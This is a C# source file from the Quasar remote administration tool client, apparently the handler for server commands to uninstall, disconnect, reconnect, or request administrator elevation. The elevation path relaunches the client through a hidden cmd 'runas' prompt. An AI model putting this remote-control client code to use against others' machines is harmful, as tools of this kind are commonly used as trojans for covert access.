using Quasar.Client.Config;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.Enums;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace Quasar.Client.Messages
{
public class ClientServicesHandler : IMessageProcessor
{
private readonly QuasarClient _client;
private readonly QuasarApplication _application;
public ClientServicesHandler(QuasarApplication application, QuasarClient client)
{
_application = application;
_client = client;
}
///
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
message is DoClientDisconnect ||
message is DoClientReconnect ||
message is DoAskElevate;
///
public bool CanExecuteFrom(ISender sender) => true;
///
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoClientUninstall msg:
Execute(sender, msg);
break;
case DoClientDisconnect msg:
Execute(sender, msg);
break;
case DoClientReconnect msg:
Execute(sender, msg);
break;
case DoAskElevate msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoClientUninstall message)
{
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
try
{
new ClientUninstaller().Uninstall();
_client.Exit();
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoClientDisconnect message)
{
_client.Exit();
}
private void Execute(ISender client, DoClientReconnect message)
{
_client.Disconnect();
}
private void Execute(ISender client, DoAskElevate message)
{
var userAccount = new UserAccount();
if (userAccount.Type != AccountType.Admin)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
_application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
try
{
Process.Start(processStartInfo);
}
catch
{
client.Send(new SetStatus {Message = "User refused the elevation request."});
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
return;
}
_client.Exit();
}
else
{
client.Send(new SetStatus { Message = "Process already elevated." });
}
}
}
}